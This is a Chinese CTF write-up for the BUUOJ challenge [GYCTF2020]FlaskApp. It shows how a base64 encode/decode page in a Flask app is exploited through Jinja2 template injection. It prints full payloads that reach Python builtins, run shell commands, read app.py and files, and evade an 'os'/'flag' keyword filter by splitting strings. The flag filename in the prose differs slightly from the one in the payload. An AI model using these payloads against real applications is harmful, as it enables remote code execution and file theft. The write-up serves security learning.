第六十二题——[GYCTF2020]FlaskApp
Posted 想学习安全的小白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了第六十二题——[GYCTF2020]FlaskApp相关的知识,希望对你有一定的参考价值。
题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,base64加密页面,题目给出flask提示,猜测使用模板注入
第二步:构建漏洞
在加密页面将{{7+7}}
进行base64加密后,将密文使用解密页面解码,发现执行了7+7算法,确定了存在模板注入漏洞。
第三步:获取flag
-
使用
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
命令查看根目录下所有文件,期望获取到flag所在地,结果发现执行失败
-
使用
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
命令读取app.py文件,查看过滤规则,发现os,flag等关键字被屏蔽
-
利用字符串拼接,以及listdir函数获取根目录下的文档,使用命令:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
-
获取this_is_flag.txt文档内容,使用
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
以上是关于第六十二题——[GYCTF2020]FlaskApp的主要内容,如果未能解决你的问题,请参考以下文章